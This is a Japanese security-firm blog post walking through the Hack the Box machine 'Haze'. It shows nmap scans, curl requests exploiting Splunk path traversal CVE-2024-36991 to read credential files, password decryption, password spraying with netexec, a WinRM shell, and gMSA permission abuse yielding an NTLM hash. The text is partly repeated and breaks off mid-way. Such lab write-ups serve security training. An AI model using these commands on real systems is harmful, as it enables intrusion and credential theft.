NTT Security Japan

お問い合わせ

Hack the Box Machines Haze writeup

テクニカルブログ

Hack the Box Machines Haze writeup
By NTT Security

Published June 30, 2025 | Red Team

はじめに

プロフェッショナルサービス部の中村です。

RedTeamサービス、実際のサイバー攻撃手法を用いたセキュリティ体制の評価に関する業務を担当しています。また、サービスを高度化するため、日々のリサーチや技術研鑽も積極的に実施しています。

このブログでは、日々の技術研鑽として取り組んだ Hack the Box Machines Haze (Windows / Hard) の writeup を紹介します。なお、本記事で紹介されている攻撃手法を、許可なく第三者の資産へ対して実施することは禁止されています。

Hack the Box Machinese Haze Writeup

scanning the machine

まずは、nmap で tcp / udp の全てのポートをスキャンします。

スキャンした結果から、このマシンが Domain Controller であること、つまり Active Directory (以下、AD) が動作していることや、ホスト名がdc01.haze.htbであることが分かります。

加えて、8000/tcp, 8088/tcp, 8089/tcpから Splunk が動作していることが分かります。

これらの結果から、AD や Splunk に関する攻撃を利用する可能性が高い、と推測します。

tcp

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-01 14:40 JST
Nmap scan report for haze.htb (10.129.232.50)
Host is up (0.37s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-01 13:41:04Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8000/tcp  open  http          Splunkd httpd
|_http-server-header: Splunkd
| http-robots.txt: 1 disallowed entry 
|_/
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://haze.htb:8000/en-US/account/login?return_to=%2Fen-US%2F
8088/tcp  open  ssl/http      Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_http-title: 404 Not Found
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
8089/tcp  open  ssl/http      Splunkd httpd
|_http-server-header: Splunkd
| http-robots.txt: 1 disallowed entry 
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_http-title: splunkd
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49172/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49173/tcp open  msrpc         Microsoft Windows RPC
49186/tcp open  msrpc         Microsoft Windows RPC
49193/tcp open  msrpc         Microsoft Windows RPC
49196/tcp open  msrpc         Microsoft Windows RPC
49213/tcp open  msrpc         Microsoft Windows RPC
49250/tcp open  msrpc         Microsoft Windows RPC
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-01T13:42:21
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 8h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.66 seconds

udp

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-01 14:43 JST
Nmap scan report for haze.htb (10.129.232.50)
Host is up (0.49s latency).

PORT    STATE SERVICE      VERSION
53/udp  open  domain       (generic dns response: SERVFAIL)
| fingerprint-strings: 
|   DNS-SD: 
|     _services
|     _dns-sd
|     _udp
|     local
|   NBTStat: 
|_    CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|_dns-recursion: Recursion appears to be enabled
88/udp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-01 13:43:59Z)
123/udp open  ntp          NTP v3
| ntp-info: 
|_  
389/udp open  ldap         Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http
s://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.95%I=7%D=5/1%Time=68130A2D%P=x86_64-pc-linux-gnu%r(DNS-S
SF:D,2E,"\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04_udp\x05l
SF:ocal\0\0\x0c\0\x01")%r(NBTStat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\0\0\0\x
SF:20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0!\0\x01");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 8h00m05s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.47 seconds

initial foothold

Splunk が動作するポートのうち8089/tcpへアクセスすると、Splunk のバージョンが9.2.1であることが分かります。

Splunk 9.2.1 の脆弱性やエクスプロイトを検索すると、CVE-2024-36991 (Path Traversal) の脆弱性やエクスプロイトを発見しました。

https://github.com/jaytiwari05/CVE-2024-36991

この脆弱性とエクスプロイトとによって、ターゲットのファイルを読み取れます。

このエクスプロイトでは、ありがたいことに、認証情報や設定ファイル、ログなどのファイルのパスが予め用意されています。

エクスプロイトを実行した結果を確認したところ、/etc/system/local/authentication.conf へ記載された認証情報を発見しました。

[*] Running: curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/system/local/authentication.conf"
[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0

[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname

[authentication]
authSettings = Haze LDAP Auth
authType = LDAP

このうち、bindDNpasswordはパスワードハッシュですが、https://github.com/HurricaneLabs/splunksecrets/tree/master によると splunk.secretが分かればパスワードを復元できます。

splunk.secretについてもauthentication.confと同様に、CVE-2024-36991 (Path Traversal) の脆弱性とエクスプロイトにより入手できます。

[*] Running: curl -s "<http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/auth/splunk.secret>"
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD

これらの情報を基に、パスワードを復元でき、Ld@p_Auth_Sp1unk@2k24 を入手しました。

[*] Running: curl -s "<http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/auth/splunk.secret>"
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD

これらの情報を基に、パスワードを復元でき、Ld@p_Auth_Sp1unk@2k24 を入手しました。

$ splunksecrets-edit.py 'NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD' '$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY='
Ld@p_Auth_Sp1unk@2k24

ただし、当時のhttps://github.com/HurricaneLabs/splunksecrets/tree/master のコードが動作せず、一部を修正する必要がありました。

ユーザ名について、bindDNCN=Paul Taylor を基に、いくつかの組合せを試したところ、paul.taylorでドメインユーザとしての認証が成功しました。

$ netexec smb haze.htb -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24'
SMB         10.129.232.50   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB         10.129.232.50   445    DC01             [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24

しかし、 WinRM や RDP などによるログオンは許可されていませんでした。

$ netexec winrm haze.htb -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24'
WINRM       10.129.232.50   5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
WINRM       10.129.232.50   5985   DC01             [-] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24

ドメインユーザpaul.taylor で SMB のファイル共有や AD オブジェクトなどを列挙・分析した中で、パスワードスプレー攻撃のためドメインユーザの一覧を作成しました。

NT AUTHORITY
HAZE-IT-BACKUP$
PAUL.TAYLOR
mark.adams
edward.martin

これらのユーザへ対し、先ほど入手したパスワード (Ld@p_Auth_Sp1unk@2k24) でのパスワードスプレー攻撃を実行しました。すると、mark.adamsで同じパスワードにより認証が成功しました。

$ netexec smb haze.htb -u usernames.txt -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success
SMB         10.129.232.50   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB         10.129.232.50   445    DC01             [-] haze.htb\NT AUTHORITY:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB         10.129.232.50   445    DC01             [-] haze.htb\HAZE-IT-BACKUP$:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB         10.129.232.50   445    DC01             [+] haze.htb\PAUL.TAYLOR:Ld@p_Auth_Sp1unk@2k24
SMB         10.129.232.50   445    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
SMB         10.129.232.50   445    DC01             [-] haze.htb\edward.martin:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE

更に、mark.adams は WinRM でのログオンが許可されていました。

$ netexec winrm haze.htb -u usernames.txt -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success
WINRM       10.129.232.50   5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
WINRM       10.129.232.50   5985   DC01             [-] haze.htb\NT AUTHORITY:Ld@p_Auth_Sp1unk@2k24
WINRM       10.129.232.50   5985   DC01             [-] haze.htb\HAZE-IT-BACKUP$:Ld@p_Auth_Sp1unk@2k24
WINRM       10.129.232.50   5985   DC01             [-] haze.htb\PAUL.TAYLOR:Ld@p_Auth_Sp1unk@2k24
WINRM       10.129.232.50   5985   DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24 (Pwn3d!)
WINRM       10.129.232.50   5985   DC01             [-] haze.htb\edward.martin:Ld@p_Auth_Sp1unk@2k24

これにより、ターゲットへ一般ユーザとしてログオンできました。

$ evil-winrm -i haze.htb -u mark.adams -p Ld@p_Auth_Sp1unk@2k24  
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mark.adams\Documents> 

lateral movement (1)

mark.adamsgMSA_Managers というグループのメンバであることが分かります。

gMSA とは group Managed Service Account の略であり、Microsoft が提供する機能の一つです (Link)。gMSA に関する詳細な説明は省略しますが、gMSA_Managers というグループの名前から、gMSA により管理されているサービスアカウントのパスワードを読み取る権限を有していそうです。しかし、gMSA によって管理されたサービスアカウントのパスワードを読み取るツールを実行したところ、サービスアカウントが存在することは分かるものの、パスワードを入手できませんでした。

$ netexec ldap haze.htb -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 --gmsa
LDAP        10.129.232.50   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
LDAPS       10.129.232.50   636    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
LDAPS       10.129.232.50   636    DC01             [*] Getting GMSA Passwords
LDAPS       10.129.232.50   636    DC01             Account: Haze-IT-Backup$      NTLM: <no read permissions>                PrincipalsAllowedToReadPassword: Domain Admins

gMSA_Managers が有する権限を改めて調べたところ、サービスアカウントであるHaze-IT-Backup$ のプロパティms-DS-GroupMSAMembership への書き込み権限を有していることが分かりました。ms-DS-GroupMSAMembership プロパティとは、そのアカウントの gMSA パスワードを取得するアクセス許可を設定するためのプロパティです。

つまり、ms-DS-GroupMSAMembership プロパティへmark.adamsを設定することで、mark.adamsHaze-IT-Backup$ の gMSA パスワードを読み取れるようになります。

Set-ADServiceAccount を実行する前後のGet-ADServiceAccount の実行結果のPrincipalsAllowedToRetrieveManagedPassword の値を比べると、mark.adamsが追加されていることが分かります。

*Evil-WinRM* PS C:\Users\mark.adams\Documents> Get-ADServiceAccount -Identity 'Haze-IT-Backup$' -Properties PrincipalsAllowedToRetrieveManagedPassword


DistinguishedName                          : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
Enabled                                    : True
Name                                       : Haze-IT-Backup
ObjectClass                                : msDS-GroupManagedServiceAccount
ObjectGUID                                 : 66f8d593-2f0b-4a56-95b4-01b326c7a780
PrincipalsAllowedToRetrieveManagedPassword : {CN=Domain Admins,CN=Users,DC=haze,DC=htb}
SamAccountName                             : Haze-IT-Backup$
SID                                        : S-1-5-21-323145914-28650650-2368316563-1111
UserPrincipalName                          :

*Evil-WinRM* PS C:\Users\mark.adams\Documents> Set-ADServiceAccount -Identity 'Haze-IT-Backup$' -PrincipalsAllowedToRetrieveManagedPassword mark.adams
*Evil-WinRM* PS C:\Users\mark.adams\Documents> Get-ADServiceAccount -Identity 'Haze-IT-Backup$' -Properties PrincipalsAllowedToRetrieveManagedPassword


DistinguishedName                          : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
Enabled                                    : True
Name                                       : Haze-IT-Backup
ObjectClass                                : msDS-GroupManagedServiceAccount
ObjectGUID                                 : 66f8d593-2f0b-4a56-95b4-01b326c7a780
PrincipalsAllowedToRetrieveManagedPassword : {CN=Mark Adams,CN=Users,DC=haze,DC=htb}
SamAccountName                             : Haze-IT-Backup$
SID                                        : S-1-5-21-323145914-28650650-2368316563-1111
UserPrincipalName                          :

これにより、Haze-IT-Backup$ の gMSA パスワードを入手でき、加えて認証が成功しました。

$ netexec ldap haze.htb -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 --gmsa
LDAP        10.129.232.50   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
LDAPS       10.129.232.50   636    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
LDAPS       10.129.232.50   636    DC01             [*] Getting GMSA Passwords
LDAPS       10.129.232.50   636    DC01             Account: Haze-IT-Backup$      NTLM: 4de830d1d58c14e241aff55f82ecdba1     PrincipalsAllowedToReadPassword: mark.adams
$ netexec smb haze.htb -u 'Haze-IT-Backup$' -H 4de830d1d58c14e241aff55f82ecdba1
SMB         10.129.232.50   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB         10.129.232.50   445    DC01             [+] haze.htb\HAZE-IT-Backup$:4de830d1d58c14e241aff55f82ecdba1 



Download the
Global Threat
Intelligence Report

Blog Home / Hack the Box Machines Haze writeup

はじめに

プロフェッショナルサービス部の中村です。

RedTeamサービス、実際のサイバー攻撃手法を用いたセキュリティ体制の評価に関する業務を担当しています。また、サービスを高度化するため、日々のリサーチや技術研鑽も積極的に実施しています。

このブログでは、日々の技術研鑽として取り組んだ Hack the Box Machines Haze (Windows / Hard) の writeup を紹介します。なお、本記事で紹介されている攻撃手法を、許可なく第三者の資産へ対して実施することは禁止されています。

Hack the Box Machinese Haze Writeup

scanning the machine

まずは、nmap で tcp / udp の全てのポートをスキャンします。

スキャンした結果から、このマシンが Domain Controller であること、つまり Active Directory (以下、AD) が動作していることや、ホスト名がdc01.haze.htbであることが分かります。

加えて、8000/tcp, 8088/tcp, 8089/tcpから Splunk が動作していることが分かります。

これらの結果から、AD や Splunk に関する攻撃を利用する可能性が高い、と推測します。

tcp

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-01 14:40 JST
Nmap scan report for haze.htb (10.129.232.50)
Host is up (0.37s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-01 13:41:04Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8000/tcp  open  http          Splunkd httpd
|_http-server-header: Splunkd
| http-robots.txt: 1 disallowed entry 
|_/
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://haze.htb:8000/en-US/account/login?return_to=%2Fen-US%2F
8088/tcp  open  ssl/http      Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_http-title: 404 Not Found
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
8089/tcp  open  ssl/http      Splunkd httpd
|_http-server-header: Splunkd
| http-robots.txt: 1 disallowed entry 
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_http-title: splunkd
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49172/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49173/tcp open  msrpc         Microsoft Windows RPC
49186/tcp open  msrpc         Microsoft Windows RPC
49193/tcp open  msrpc         Microsoft Windows RPC
49196/tcp open  msrpc         Microsoft Windows RPC
49213/tcp open  msrpc         Microsoft Windows RPC
49250/tcp open  msrpc         Microsoft Windows RPC
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-01T13:42:21
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 8h00m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.66 seconds

udp

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-01 14:43 JST
Nmap scan report for haze.htb (10.129.232.50)
Host is up (0.49s latency).

PORT    STATE SERVICE      VERSION
53/udp  open  domain       (generic dns response: SERVFAIL)
| fingerprint-strings: 
|   DNS-SD: 
|     _services
|     _dns-sd
|     _udp
|     local
|   NBTStat: 
|_    CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|_dns-recursion: Recursion appears to be enabled
88/udp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-01 13:43:59Z)
123/udp open  ntp          NTP v3
| ntp-info: 
|_  
389/udp open  ldap         Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http
s://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.95%I=7%D=5/1%Time=68130A2D%P=x86_64-pc-linux-gnu%r(DNS-S
SF:D,2E,"\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04_udp\x05l
SF:ocal\0\0\x0c\0\x01")%r(NBTStat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\0\0\0\x
SF:20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0!\0\x01");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 8h00m05s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.47 seconds

initial foothold

Splunk が動作するポートのうち8089/tcpへアクセスすると、Splunk のバージョンが9.2.1であることが分かります。

Splunk 9.2.1 の脆弱性やエクスプロイトを検索すると、CVE-2024-36991 (Path Traversal) の脆弱性やエクスプロイトを発見しました。

https://github.com/jaytiwari05/CVE-2024-36991

この脆弱性とエクスプロイトとによって、ターゲットのファイルを読み取れます。

このエクスプロイトでは、ありがたいことに、認証情報や設定ファイル、ログなどのファイルのパスが予め用意されています。

エクスプロイトを実行した結果を確認したところ、/etc/system/local/authentication.conf へ記載された認証情報を発見しました。

[*] Running: curl -s "http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/system/local/authentication.conf"
[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0

[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname

[authentication]
authSettings = Haze LDAP Auth
authType = LDAP

このうち、bindDNpasswordはパスワードハッシュですが、https://github.com/HurricaneLabs/splunksecrets/tree/master によると splunk.secretが分かればパスワードを復元できます。

splunk.secretについてもauthentication.confと同様に、CVE-2024-36991 (Path Traversal) の脆弱性とエクスプロイトにより入手できます。

[*] Running: curl -s "<http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:/Program%20Files/Splunk/etc/auth/splunk.secret>"
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD

これらの情報を基に、パスワードを復元でき、Ld@p_Auth_Sp1unk@2k24 を入手しました。

$ splunksecrets-edit.py 'NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD' '$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY='
Ld@p_Auth_Sp1unk@2k24

ただし、当時のhttps://github.com/HurricaneLabs/splunksecrets/tree/master のコードが動作せず、一部を修正する必要がありました。

ユーザ名について、bindDNCN=Paul Taylor を基に、いくつかの組合せを試したところ、paul.taylorでドメインユーザとしての認証が成功しました。

$ netexec smb haze.htb -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24'
SMB         10.129.232.50   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
